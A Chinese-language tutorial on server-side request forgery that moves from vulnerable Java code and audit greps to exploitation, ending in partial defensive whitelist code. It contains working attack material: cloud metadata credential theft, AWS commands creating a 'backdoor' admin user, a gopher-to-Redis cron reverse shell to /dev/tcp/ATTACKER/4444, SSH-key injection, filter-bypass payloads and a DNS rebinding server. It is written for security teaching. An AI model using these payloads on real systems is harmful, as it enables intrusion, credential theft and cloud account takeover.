SSRF 服务端请求伪造:从内网探测到拿下云账号
A10 是 2021 榜单唯一的新增项(除了 A04 从设计角度新增)。它进榜很大程度上是因为云计算的普及 —— 一旦有了云元数据服务(
169.254.169.254),SSRF 从一个"能探测内网"的中危漏洞,直接升级为"能拿云凭证接管整个云账号"的严重漏洞。
一、让服务器替你敲门
你不进门,你让服务员替你问
你在一家会员制餐厅门口,保安不让你进。
但你对服务员说:"麻烦你帮我去后厨问一下,今天的招牌菜是什么?" 服务员进去了,出来告诉你答案。
你没进去,但你借服务员的腿和身份,拿到了里面的信息。
更狠的是,你还可以让服务员:"帮我把这张便签交给 3 号包厢的客人" —— 你不只是读信息,还能往里传东西。
SSRF(Server-Side Request Forgery,服务端请求伪造) 就是:攻击者诱导服务端发起一个由攻击者指定的请求。 服务端成了攻击者的代理。
服务端发起的请求,权限完全不同
// 典型的有漏洞代码
@GetMapping("/api/fetch")
public String fetchUrl(@RequestParam String url) {
// url 完全来自用户,服务端不加判断地发起请求
return restTemplate.getForObject(url, String.class);
}根本原因是:服务端信任了用户提供的 URL,并用自己的身份和位置去访问它。
关键认知:服务端发起的请求,和普通用户发起的请求,权限完全不同。
攻击者(外网) 服务端(内网)
│ │
├── 直接访问 10.0.0.5:8080 ──X──→ 网络不可达(防火墙拦截)
│
├── 直接访问 169.254.169.254 ─X──→ 外网访问不了云元数据
│
└── 通过 SSRF 让服务端访问 ───→ ✅ 内网可达(服务端的网络位置)
✅ 云元数据可访问
✅ 可能使用服务端的身份凭证常见触发点:找 SSRF 的地图
SSRF 不是只出现在"输入 URL"的框里。凡是服务端会主动发起对外请求的功能,都可能有 SSRF。
| 功能 | 参数名 | 说明 |
|---|---|---|
| URL 预览 / 分享 | url / link | 最经典 |
| 图片/头像远程加载 | imageUrl / avatar | 下载远程图片 |
| 网页截图 / 生成 PDF | url / page | 渲染服务 |
| Webhook 配置 | callbackUrl / webhook | 回调地址 |
| RSS / 订阅源 | feedUrl | 拉取订阅 |
| 文件导入(远程) | fileUrl / importUrl | 从 URL 导入 |
| 转码 / 转存 | sourceUrl | 音视频处理 |
| SSO / OAuth | redirect_uri / metadata_url | SAML 元数据 |
| 数据库连接配置 | host / jdbcUrl | 管理后台 |
| 翻译 / 代理 | url | |
| SVG / XML 解析 | 外部实体 | XXE 也可导致 SSRF |
| HTTP 头处理 | X-Forwarded-For 等 | 少数情况 |
💡 踩坑提示:最容易漏的是间接的 SSRF。比如"上传头像"功能支持"从 URL 导入"、PDF 导出服务会加载页面里的外链图片、Webhook 测试按钮。这些功能的输入框看起来不像"URL 输入框",但底层都是发请求。
六级危害阶梯:云上一律按严重定级
触发条件:
- 服务端存在"根据用户输入发起外部请求"的功能。
- 服务端未对目标地址做白名单/黑名单校验。
- 响应内容(或响应时间、状态码)能以某种方式被攻击者观察到。
危害分级(从低到高):
① 基本 SSRF(有回显)
→ 读取内网服务响应、探测端口开放情况
② 无回显 SSRF(Blind SSRF)
→ 通过响应时间/状态码判断内网主机存活、端口开放
→ 仍可用于内网拓扑测绘
③ 读取本地文件(file:// 协议)
→ file:///etc/passwd、file:///proc/self/environ
④ 云元数据访问(169.254.169.254)
→ 窃取临时凭证(AccessKey / SecretKey / Token)
→ 接管整个云账号 ← 最严重
⑤ 打内网应用(gopher:// / dict://)
→ Redis 未授权 → 写计划任务/写 SSH key → 服务器沦陷
→ Memcached、FastCGI、MySQL(无认证)
→ 内网服务的未授权 RCE
⑥ 绕过 IP 限制
→ 访问配置了"仅内网可访问"的管理后台三个典型场景
场景一:云上 SSRF 拿 AK/SK(最经典)
目标:一台部署在云上的 Web 应用,存在 SSRF
1. 请求: http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/
→ 返回: iam/security-credentials/
2. 请求: http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 返回: my-ecs-role
3. 请求: .../iam/security-credentials/my-ecs-role
→ 返回:
{
"AccessKeyId": "STS.xxxxx",
"AccessKeySecret": "xxxxx",
"SecurityToken": "xxxxx",
"Expiration": "2026-09-03T12:00:00Z"
}
4. 攻击者拿着这个凭证,用云 CLI 操作整个云账号:
- 列出所有 ECS 实例
- 创建子账号 / 提权
- 下载 OSS 桶里的所有数据
- 甚至创建资源挖矿📌 这就是 SSRF 能被评为"严重"的原因。一个看似只是"能发个请求"的漏洞,在云环境下等于交出整个云账号的控制权。各大云厂商的元数据服务地址都是
169.254.169.254(AWS/Azure/GCP/阿里云/腾讯云均如此)。
场景二:内网 Redis 未授权写入
1. SSRF 探测到内网 10.0.0.5:6379 开放
2. 用 gopher:// 协议构造 Redis 命令,写计划任务反弹 shell
3. 服务器沦陷场景三:内网服务指纹测绘
用 SSRF 批量扫描 10.0.0.0/24 的常用端口
→ 画出内网服务拓扑
→ 为后续横向移动做准备二、从哪找,怎么确认
代码层:找所有发外部请求的地方
危险函数速查表
| 语言 | 危险函数/库 | 说明 |
|---|---|---|
| Java | RestTemplate.getForObject(url, ...) | Spring HTTP 客户端 |
| Java | new URL(url).openConnection() | 原生 |
| Java | HttpURLConnection | 原生 |
| Java | OkHttpClient + 用户提供的 URL | |
| Java | HttpClient (Java 11+) | |
| Java | ImageIO.read(new URL(url)) | 图片处理 |
| Java | XMLInputFactory 外部实体 | XXE → SSRF |
| Python | requests.get(url) | |
| Python | urllib.request.urlopen(url) | |
| Python | urllib2.urlopen(url) | Python 2 |
| Python | httpx.get(url) | |
| PHP | file_get_contents($url) | 支持多协议 |
| PHP | curl_exec() + CURLOPT_URL | |
| PHP | fsockopen() | |
| PHP | SoapClient + __call | 反序列化 SSRF |
| Node | axios.get(url) / http.get(url) | |
| Node | request(url) | 已废弃但仍常见 |
| Go | http.Get(url) | |
| .NET | WebClient.DownloadString(url) |
审计 grep 命令:
# Java
grep -rnE "RestTemplate|new URL\(|openConnection|HttpURLConnection|OkHttpClient" --include=*.java
# Python
grep -rnE "requests\.(get|post)|urlopen\(|httpx\.(get|post)" --include=*.py
# PHP
grep -rnE "file_get_contents\s*\(\s*\\\$|curl_setopt.*CURLOPT_URL|fsockopen" --include=*.php
# Node
grep -rnE "axios\.(get|post)|http\.get\(|request\(" --include=*.js
# 重点关注:参数是否来自用户输入
grep -rnE "@RequestParam.*[Uu]rl|@RequestParam.*[Ll]ink|@RequestParam.*[Cc]allback|@RequestParam.*[Ww]ebhook" --include=*.java审计的核心三问:
1. 这个 URL 来自哪里? (用户可控 → 危险)
2. 发起请求前有没有校验? (白名单 > 黑名单 > 无校验)
3. 响应内容会不会返回给用户? (回显 → 信息泄露;无回显 → 仍可探测)有漏洞 vs 无漏洞的对照:
// ❌ 完全无校验
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
return restTemplate.getForObject(url, String.class);
}
// ⚠️ 黑名单校验(可绕过,不推荐)
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
if (url.contains("127.0.0.1") || url.contains("localhost")
|| url.contains("169.254") || url.contains("10.")) {
throw new SecurityException("禁止访问内网");
}
return restTemplate.getForObject(url, String.class);
}
// 绕过方式:2130706433(十进制IP)、[::1]、0.0.0.0、localtest.me、302跳转、DNS重绑定...
// ✅ 白名单校验(正确做法)
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
// 1. 协议白名单
if (!url.startsWith("https://")) {
throw new SecurityException("仅支持 HTTPS");
}
// 2. 域名白名单
String host = new URL(url).getHost();
if (!ALLOWED_DOMAINS.contains(host)) {
throw new SecurityException("域名不在白名单中");
}
// 3. DNS 解析后校验 IP(防 DNS 重绑定)
InetAddress[] addrs = InetAddress.getAllByName(host);
for (InetAddress addr : addrs) {
if (isPrivateOrReserved(addr)) {
throw new SecurityException("不允许访问内网地址");
}
}
// 4. 禁用重定向
return fetchWithoutRedirect(url);
}验证:先用 DNSLog 确认请求真的出去了
Step 1:找到可能的 SSRF 点
按上面“常见触发点”的清单,逐个功能测试。重点看请求参数名:
url / uri / link / src / source / target / dest / destination
image / img / avatar / picture / photo
file / path / page / feed / callback / webhook
remote / load / fetch / import / proxy / redirect / nextStep 2:基础探针测试
#!/usr/bin/env bash
# SSRF 基础探针
# 用法: bash ssrf_probe.sh https://target.com/api/fetch
ENDPOINT="$1"
PARAM="${2:-url}"
# 准备一个 DNSLog 域名,用于检测服务端是否真的发起了请求
DNS="${DNS:-yourdomain.dnslog.cn}"
echo "===== 1. 基础外网请求(验证功能正常)====="
curl -s "$ENDPOINT?$PARAM=http://example.com" | head -c 300
echo
echo "===== 2. DNS 外带检测(确认服务端发起了请求)====="
curl -s "$ENDPOINT?$PARAM=http://${DNS}/ssrf-test" -o /dev/null
echo "[*] 请到 DNSLog 平台查看是否有解析记录"
echo " 有记录 → 服务端确实发起了请求(SSRF 存在)"
echo
echo "===== 3. 回环地址测试 ====="
for target in "http://127.0.0.1/" "http://localhost/" "http://[::1]/" "http://0.0.0.0/"; do
echo "--- $target ---"
curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 200
echo
done
echo "===== 4. 内网地址测试 ====="
for target in "http://10.0.0.1/" "http://192.168.1.1/" "http://172.16.0.1/"; do
echo "--- $target ---"
curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 150
echo
done
echo "===== 5. 云元数据测试(最关键)====="
echo "--- 阿里云/腾讯云/AWS 通用 ---"
curl -s "$ENDPOINT?$PARAM=http://169.254.169.254/latest/meta-data/" --max-time 8 | head -c 300
echo
echo "--- AWS IMDSv2 路径 ---"
curl -s "$ENDPOINT?$PARAM=http://169.254.169.254/latest/api/token" --max-time 8 -X PUT | head -c 200
echo
echo "===== 6. 文件协议测试 ====="
for target in "file:///etc/passwd" "file:///proc/self/environ" "file:///etc/hosts"; do
echo "--- $target ---"
curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 300
echo
done
echo "===== 7. 其他协议测试 ====="
for target in "dict://127.0.0.1:6379/info" "gopher://127.0.0.1:6379/_INFO" \
"ftp://127.0.0.1/" "ldap://127.0.0.1/"; do
echo "--- $target ---"
curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 150
echo
done
echo
echo "===== 完成 ====="Step 3:判断依据
| 现象 | 结论 |
|---|---|
| DNSLog 收到解析 | 服务端确实发起了请求 → SSRF 成立(最可靠的证据) |
| 返回内网服务的响应内容 | 基本 SSRF(有回显),可深入 |
| 响应内容随目标变化 | 有回显 SSRF |
| 响应码/响应时间随目标变化 | 无回显 SSRF(Blind),仍可探测内网 |
返回 /etc/passwd 内容 | 支持 file:// 协议 |
返回云元数据(如 iam/) | 严重 —— 可拿云凭证 |
| 统一返回"请求失败" | 可能有黑名单,尝试绕过手法 |
| 提示"仅支持 http/https" | 协议白名单,仍需测协议内绕过 |
💡 踩坑提示:先用 DNSLog 确认"服务端真的发起了请求",再往下测。 很多看起来像 SSRF 的点,实际上服务端根本没发请求(比如参数被忽略了、或者只是做了个字符串处理)。DNSLog 是唯一可靠的判据 —— 它证明的是"请求确实出去了",而不是"响应看起来像"。
无回显时怎么判断:时间、状态码、DNS
当响应不返回内容时,靠这三个维度判断:
#!/usr/bin/env bash
# 无回显 SSRF 探测:靠响应时间与状态码差异判断内网端口
# 用法: bash blind_ssrf_scan.sh https://target.com/api/fetch 10.0.0.5
ENDPOINT="$1"
TARGET_HOST="$2"
PARAM="${3:-url}"
echo "===== 端口探测: $TARGET_HOST ====="
echo "原理: 开放端口响应快,关闭/过滤端口响应慢或超时"
echo
# 常见端口
PORTS=(21 22 23 25 80 443 445 1433 1521 3306 3389 5432 6379 7001 8000 8080 8081 8888 9000 9200 11211 27017)
for port in "${PORTS[@]}"; do
start=$(date +%s%N)
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 6 \
"$ENDPOINT?$PARAM=http://${TARGET_HOST}:${port}/" 2>/dev/null)
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 )) # 毫秒
# 判断逻辑
if [ "$elapsed" -lt 1000 ] && [ "$code" = "200" ]; then
echo "[OPEN ] ${TARGET_HOST}:${port} 响应 ${elapsed}ms HTTP ${code}"
elif [ "$elapsed" -lt 3000 ]; then
echo "[MAYBE] ${TARGET_HOST}:${port} 响应 ${elapsed}ms HTTP ${code}"
else
echo "[CLOSED] ${TARGET_HOST}:${port} 超时 ${elapsed}ms"
fi
done
echo
echo "[*] 注意:响应时间受网络波动影响,建议每个端口测 2-3 次取中位数"
echo "[*] OPEN 的端口即为内网可达服务,可进一步用 gopher:// 等协议攻击"三、云元数据、gopher 与绕过图谱
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
基础利用:file 协议与内网服务
# ===== 1. file:// 协议读文件 =====
curl -s "https://target.com/api/fetch?url=file:///etc/passwd"
# 预期回显: root:x:0:0:root:/root:/bin/bash ...
# 读环境变量(常含数据库密码、AK/SK)
curl -s "https://target.com/api/fetch?url=file:///proc/self/environ"
# 预期: 包含各种环境变量
# 读应用配置文件路径(需要先知道路径)
curl -s "https://target.com/api/fetch?url=file:///app/config/application.yml"
# 读 /proc/net/ 下的网络信息(内网拓扑测绘)
curl -s "https://target.com/api/fetch?url=file:///proc/net/arp" # ARP 表
curl -s "https://target.com/api/fetch?url=file:///proc/net/tcp" # TCP 连接
curl -s "https://target.com/api/fetch?url=file:///proc/net/fib_trie" # 路由表
# ===== 2. 内网 HTTP 服务 =====
# Redis 运维面板、Jenkins、Elasticsearch、Druid 等常在内网无认证
curl -s "https://target.com/api/fetch?url=http://10.0.0.5:9200/_cat/indices"
# Elasticsearch 索引列表
curl -s "https://target.com/api/fetch?url=http://10.0.0.5:8080/manager/html"
# Tomcat 管理台
curl -s "https://target.com/api/fetch?url=http://10.0.0.5:9000/"
# 可能是各类管理面板云元数据:三个请求拿到整个云账号
各大云厂商的元数据端点:
# ===== 通用(AWS / Azure / GCP / 阿里云 / 腾讯云 等均使用此地址)=====
BASE="http://169.254.169.254"
# ----- AWS / 阿里云 / 腾讯云(IMDSv1 风格)-----
# 1. 列出可用的元数据路径
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/"
# AWS 返回: ami-id / hostname / iam/ / instance-id / local-ipv4 / public-ipv4 / security-credentials
# 2. 列出 IAM 角色
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/iam/security-credentials/"
# 3. 获取凭证(关键一步)
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/iam/security-credentials/<角色名>"
# 返回:
# {
# "Code": "Success",
# "AccessKeyId": "STS.NTxxxxxxxxxx",
# "AccessKeySecret": "xxxxxxxxxxxxxxxx",
# "SecurityToken": "CAISxxxxx...",
# "Expiration": "2026-09-03T12:00:00Z"
# }
# ----- 阿里云专有路径 -----
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/ram/security-credentials/<角色名>"
# ----- 腾讯云专有路径 -----
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/cam/security-credentials/<角色名>"
# ----- Azure -----
# 注意 Azure 需要 Metadata: true 请求头,SSRF 场景较难利用(无法自定义头)
# http://169.254.169.254/metadata/instance?api-version=2021-02-01
# ----- GCP -----
# 需要 Metadata-Flavor: Google 请求头
# http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# ----- AWS IMDSv2(需要 PUT 请求获取 token,SSRF 较难利用)-----
# PUT http://169.254.169.254/latest/api/token
# Header: X-aws-ec2-metadata-token-ttl-seconds: 21600拿到凭证后的操作(在攻击者自己的机器上):
# AWS 示例
export AWS_ACCESS_KEY_ID="ASIAxxxxx"
export AWS_SECRET_ACCESS_KEY="xxxxx"
export AWS_SESSION_TOKEN="xxxxx"
# 确认身份
aws sts get-caller-identity
# 列出所有 ECS 实例
aws ec2 describe-instances --region cn-north-1
# 列出 S3 桶
aws s3 ls
# 下载整个桶
aws s3 sync s3://target-bucket ./loot/
# 创建后门账号
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 阿里云示例
aliyun configure set --access-key-id LTAIxxxx --access-key-secret xxxx --region cn-hangzhou
aliyun ecs DescribeInstances
aliyun oss ls
# 腾讯云示例
tccli configure set secretId AKIDxxxx secretKey xxxx region ap-guangzhou
tccli cvm DescribeInstances💡 这就是 SSRF 在云上最可怕的地方 —— 从"一个 URL 参数"到"整个云账号沦陷",中间只需要 3 个请求。
gopher 打 Redis:从发请求到执行命令
原理:gopher:// 协议可以发送任意 TCP 数据。Redis 使用简单的文本协议,因此可以完全用 gopher 构造 Redis 命令。
Gopher 协议格式:
gopher://<host>:<port>/_<TCP数据>
↑ 下划线后面就是要发送的原始数据
需要对特殊字符做 URL 编码
换行符编码为 %0d%0aRedis 写计划任务反弹 shell(经典链):
#!/usr/bin/env bash
# 构造 gopher payload 打 Redis(仅用于授权测试)
# 用法: bash gopher_redis.sh 10.0.0.5 6379 "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
REDIS_HOST="${1:-127.0.0.1}"
REDIS_PORT="${2:-6379}"
CMD="${3:-whoami}"
ATTACKER="${4:-192.168.1.100:4444}"
# Redis 命令序列(RESP 协议格式)
# 每条命令格式: *<参数个数>\r\n$<参数1长度>\r\n<参数1>\r\n$<参数2长度>\r\n<参数2>\r\n
REDIS_CMDS="*1%0d%0a\$8%0d%0aflushall%0d%0a" # 清空(可选)
REDIS_CMDS+="*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$60%0d%0a" # set 1 "<payload>"
REDIS_CMDS+="%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20/dev/tcp/${ATTACKER}%200%3E%261%0a%0a%0a"
REDIS_CMDS+="%0d%0a"
REDIS_CMDS+="*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$16%0d%0a/var/spool/cron/%0d%0a" # 设置目录
REDIS_CMDS+="*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$4%0d%0aroot%0d%0a" # 设置文件名
REDIS_CMDS+="*1%0d%0a\$4%0d%0asave%0d%0a" # 保存
REDIS_CMDS+="*1%0d%0a\$4%0d%0aquit%0d%0a" # 退出
echo "[*] 生成的 gopher payload:"
echo "gopher://${REDIS_HOST}:${REDIS_PORT}/_${REDIS_CMDS}"
echo
echo "[*] 通过 SSRF 发送:"
echo "curl 'https://target.com/api/fetch?url=gopher://${REDIS_HOST}:${REDIS_PORT}/_${REDIS_CMDS}'"
echo
echo "[*] 别忘了本地监听: nc -lvnp 4444"更实用的方式:用工具自动生成
# Gopherus —— 自动生成各种服务的 gopher payload
# https://github.com/tarunkant/Gopherus
python3 gopherus.py --exploit redis
# 交互式输入:
# What do you want?? (ReverseShell/PHPShell): ReverseShell
# Give IP Address: 192.168.1.100
# Give Port: 4444
# 输出完整的 gopher:// URL
# 支持的服务:
# redis, mysql, zabbix, memcached, smtp, fastcgi, python
# 然后直接通过 SSRF 发送
curl "https://target.com/api/fetch?url=<gopherus生成的URL>"写 SSH key 的方式(需要 Redis 有写权限且目标运行 SSH):
# 生成 SSH 密钥对
ssh-keygen -t rsa -f /tmp/id_rsa -N ""
# 构造 Redis 命令:把公钥写入 /root/.ssh/authorized_keys
python3 - << 'PYEOF'
import urllib.parse
pubkey = open('/tmp/id_rsa.pub').read().strip()
# Redis RESP 协议构造
cmds = [
"flushall",
f"set crackit \"\\n\\n{pubkey}\\n\\n\"",
"config set dir /root/.ssh/",
"config set dbfilename authorized_keys",
"save",
"quit"
]
def to_resp(cmd_parts):
"""把命令转成 RESP 格式"""
resp = f"*{len(cmd_parts)}\r\n"
for part in cmd_parts:
resp += f"${len(part)}\r\n{part}\r\n"
return resp
# 简单处理(实际需按空格拆分参数)
payload = to_resp(["flushall"])
payload += to_resp(["set", "crackit", "\n\n" + pubkey + "\n\n"])
payload += to_resp(["config", "set", "dir", "/root/.ssh/"])
payload += to_resp(["config", "set", "dbfilename", "authorized_keys"])
payload += to_resp(["save"])
payload += to_resp(["quit"])
# URL 编码(gopher 要求的格式)
encoded = urllib.parse.quote(payload, safe='')
# 注意:gopher 中 %0a 需要保留,某些场景需要用 %0d%0a
encoded = encoded.replace('%0A', '%0d%0a')
print(f"gopher://10.0.0.5:6379/_{encoded}")
PYEOF
# 然后: ssh -i /tmp/id_rsa root@10.0.0.5绕过手法全图谱
这是 SSRF 最精彩的部分。防守方用黑名单,攻击方就有几十种绕过方式。
① IP 地址的多种表示法
# 127.0.0.1 的各种等价写法
http://127.0.0.1/ # 点分十进制(标准)
http://2130706433/ # 十进制整数
http://0x7F000001/ # 十六进制
http://017700000001/ # 八进制
http://127.1/ # 短格式(省略中间的 0)
http://127.0.1/ # 短格式
http://0/ # 0 会被解析为 0.0.0.0(部分系统 = localhost)
http://127.000.000.001/ # 补零
http://[::1]/ # IPv6 回环
http://[0:0:0:0:0:ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://[::ffff:7f00:1]/ # 同上,十六进制💡 转换方法:
bash# IP 转十进制 python3 -c "import socket,struct; print(struct.unpack('!I', socket.inet_aton('127.0.0.1'))[0])" # 输出: 2130706433 # 十进制转 IP python3 -c "import socket,struct; print(socket.inet_ntoa(struct.pack('!I', 2130706433)))"
② DNS 技巧
# 解析到 127.0.0.1 的公共域名
http://localtest.me/ # 及其所有子域名都解析到 127.0.0.1
http://127.0.0.1.nip.io/ # nip.io 服务
http://127.0.0.1.xip.io/ # xip.io 服务
http://spoofed.burpcollaborator.net/ # Burp 提供
# 自建 DNS: 把域名 A 记录指向 127.0.0.1 或 169.254.169.254
# 这是绕过"域名白名单"最有效的方法之一③ URL 解析差异(利用解析器的不一致)
# 用 @ 符号分割(userinfo 部分)
http://expected.com@127.0.0.1/ # 某些解析器认为 host 是 127.0.0.1
http://expected.com@evil.com/ #
# 用 # 分割
http://127.0.0.1#expected.com # fragment 部分被忽略
# 用 ? 分割
http://expected.com?url=http://127.0.0.1/
# 反斜杠(某些解析器把 \ 当作 /)
http://expected.com\@127.0.0.1/
http://127.0.0.1\expected.com
# 多重 @
http://expected.com@@127.0.0.1/
# 特殊字符混淆
http://①②⑦.0.0.1/ # Unicode 数字(部分解析器会规范化)④ 302 跳转绕过(最实用的绕过之一)
<?php
// 攻击者自己的服务器上放一个 redirect.php
// 服务端校验的是第一个 URL(白名单域名)
// 但 curl 跟随重定向后,实际访问了内网
header("Location: http://169.254.169.254/latest/meta-data/", true, 302);
?># 攻击者服务器
# 1. 放一个 302 跳转脚本
# 2. 请求: https://target.com/api/fetch?url=http://attacker.com/redirect.php
# 3. 服务端校验 attacker.com(如果在白名单里就放行)
# 4. curl 默认跟随重定向 → 访问了 169.254.169.254
# 5. 响应返回给攻击者
# 其他跳转方式
# HTTP 302/301/307/308
# JavaScript: <script>location.href='http://169.254.169.254/'</script> (仅当服务端渲染 JS)
# HTML meta refresh⑤ DNS 重绑定(DNS Rebinding)
这是绕过"解析后 IP 校验"的杀手锏。
攻击原理:
1. 攻击者控制一个域名 evil.com,并控制其 DNS 服务器
2. 第一次 DNS 查询(服务端校验时)→ 返回公网 IP 1.2.3.4 ✅ 通过白名单
3. 第二次 DNS 查询(服务端真正发起请求时)→ 返回 127.0.0.1 ← 打到内网!
关键点:
- 两次查询之间,TTL 设置为 0(不缓存)
- 服务端"校验"和"请求"是两次独立的 DNS 解析(典型 TOCTOU 问题)
工具:
- https://lock.cmpxchg8b.com/rebinder.html
- 自建: 用 dnsmasq 或自写 DNS 服务器DNS Rebinding 服务示例:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
简易 DNS Rebinding 服务器 —— 仅用于授权测试
第一次查询返回公网 IP,后续查询返回内网 IP
"""
import socket
import struct
import threading
# 配置
GOOD_IP = "1.2.3.4" # 第一次返回(公网,通过校验)
EVIL_IP = "127.0.0.1" # 后续返回(内网)
query_count = {}
def build_response(data, ip):
"""构造 DNS 响应"""
# 复制请求头(transaction ID 等)
trans_id = data[:2]
flags = b'\x81\x80' # 标准响应,无错误
questions = data[4:6]
answer_rrs = b'\x00\x01' # 1 条应答
authority_rrs = b'\x00\x00'
additional_rrs = b'\x00\x00'
# 提取查询的域名
# 简化处理:假设域名从第 12 字节开始,以 0x00 结尾
idx = 12
while data[idx] != 0:
idx += 1
domain = data[12:idx+1]
qtype_qclass = data[idx+1:idx+5]
# 应答部分
answer = b'\xc0\x0c' # 指向查询名的指针
answer += b'\x00\x01' # Type: A
answer += b'\x00\x01' # Class: IN
answer += struct.pack('!I', 0) # TTL: 0(不缓存!关键!)
answer += b'\x00\x04' # RDLENGTH: 4
answer += socket.inet_aton(ip) # RDATA: IP
return (trans_id + flags + questions + answer_rrs +
authority_rrs + additional_rrs + domain + qtype_qclass + answer)
def handle_query(data, addr, sock):
"""处理单个 DNS 查询"""
# 提取域名作为 key
idx = 12
while idx < len(data) and data[idx] != 0:
idx += 1
domain = data[12:idx].decode('latin-1')
key = '.'.join([chr(data[i]) + '.' if False else '' for i in []]) or domain
# 计数:第一次返回好 IP,之后返回内网 IP
count = query_count.get(domain, 0)
query_count[domain] = count + 1
ip = GOOD_IP if count == 0 else EVIL_IP
print(f"[*] 查询 #{count+1} for {domain} → 返回 {ip}")
response = build_response(data, ip)
sock.sendto(response, addr)
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 53))
print("[*] DNS Rebinding 服务器启动在 :53")
print(f"[*] 第一次查询返回 {GOOD_IP},之后返回 {EVIL_IP}")
while True:
data, addr = sock.recvfrom(512)
t = threading.Thread(target=handle_query, args=(data, addr, sock))
t.start()
if __name__ == "__main__":
main()⑥ 协议与端口绕过
# 如果禁了 http/https 之外的协议,但服务端用的是支持多协议的库
file:///etc/passwd # PHP 的 file_get_contents 支持
dict://127.0.0.1:6379/info # dict 协议
gopher://127.0.0.1:6379/_INFO # gopher 协议
ldap://127.0.0.1:389/ # LDAP
ftp://127.0.0.1:21/ # FTP
jar:http://127.0.0.1!/ # Java 的 jar 协议
netdoc:///etc/passwd # Java
# 端口绕过:如果只禁了 80/443
http://127.0.0.1:8080/
http://127.0.0.1:3306/⑦ 编码绕过
# URL 编码
http://%31%32%37%2e%30%2e%30%2e%31/ # 127.0.0.1
http://127.0.0.1%2f # 编码斜杠
# 双重 URL 编码
http://%25%33%31%25%33%32%25%33%37.../
# Unicode 编码
http://①②⑦.0.0.1/ # 部分解析器会规范化为 127.0.0.1Nuclei 批量检测
# Nuclei SSRF 模板扫描
nuclei -u https://target.com -tags ssrf -severity high,critical
# 指定模板目录
nuclei -u https://target.com -t ~/nuclei-templates/http/vulnerabilities/generic/ssrf.yaml
# 批量
nuclei -l targets.txt -tags ssrf -rate-limit 10 -o ssrf_results.txt
# 配合 DNSLog(更可靠)
# 部分模板支持 -var 传入回调域名
nuclei -u https://target.com -tags ssrf -var callback=http://yourdomain.dnslog.cn四、白名单、出网限制与 IMDSv2
白名单,以及「解析一次用 IP 直连」
SSRF 的黑名单是无效的 —— 前面的绕过手法已经证明了这点。唯一可靠的是白名单。
@Component
public class SafeUrlFetcher {
// 允许的域名白名单(从配置读取,可动态更新)
@Value("${ssrf.allowed-domains}")
private Set<String> ALLOWED_DOMAINS;
// 允许的协议
private static final Set<String> ALLOWED_PROTOCOLS = Set.of("https");
// 允许的端口
private static final Set<Integer> ALLOWED_PORTS = Set.of(443);
/**
* 安全的 URL 获取
*/
public String fetch(String urlString) throws Exception {
URL url = new URL(urlString);
// ===== 第 1 层:协议白名单 =====
String protocol = url.getProtocol().toLowerCase();
if (!ALLOWED_PROTOCOLS.contains(protocol)) {
throw new SecurityException("不支持的协议: " + protocol);
}
// ===== 第 2 层:端口白名单 =====
int port = url.getPort() != -1 ? url.getPort() : url.getDefaultPort();
if (!ALLOWED_PORTS.contains(port)) {
throw new SecurityException("不允许的端口: " + port);
}
// ===== 第 3 层:域名白名单 =====
String host = url.getHost().toLowerCase();
if (!isDomainAllowed(host)) {
throw new SecurityException("域名不在白名单中: " + host);
}
// ===== 第 4 层:DNS 解析 + IP 校验(防 DNS Rebinding)=====
List<InetAddress> addresses = Arrays.asList(InetAddress.getAllByName(host));
if (addresses.isEmpty()) {
throw new SecurityException("域名解析失败: " + host);
}
for (InetAddress addr : addresses) {
if (isBlockedIp(addr)) {
throw new SecurityException("禁止访问内网/保留地址: " + addr.getHostAddress());
}
}
// ===== 第 5 层:用解析后的 IP 直连,并固定 Host 头 =====
// 这是防 DNS Rebinding 的关键:解析一次,然后用 IP 建连
String ip = addresses.get(0).getHostAddress();
return fetchWithPinnedIp(url, ip, host);
}
/**
* 判断是否为内网/保留/危险 IP
*/
private boolean isBlockedIp(InetAddress addr) {
if (addr.isAnyLocalAddress() || // 0.0.0.0
addr.isLoopbackAddress() || // 127.0.0.0/8, ::1
addr.isLinkLocalAddress() || // 169.254.0.0/16 ← 云元数据!
addr.isSiteLocalAddress() || // 10/8, 172.16/12, 192.168/16
addr.isMulticastAddress() ||
addr.isMCGlobal() ||
addr.isMCLinkLocal()) {
return true;
}
// 手动检查更多保留网段
byte[] bytes = addr.getAddress();
if (bytes.length == 4) { // IPv4
int b0 = bytes[0] & 0xff, b1 = bytes[1] & 0xff;
// 0.0.0.0/8
if (b0 == 0) return true;
// 100.64.0.0/10 (CGNAT)
if (b0 == 100 && (b1 & 0xc0) == 64) return true;
// 169.254.0.0/16 (link-local,云元数据)
if (b0 == 169 && b1 == 254) return true;
// 192.0.0.0/24
if (b0 == 192 && b1 == 0) return true;
// 198.18.0.0/15 (benchmark)
if (b0 == 198 && (b1 == 18 || b1 == 19)) return true;
// 224.0.0.0/4 (multicast)
if ((b0 & 0xf0) == 224) return true;
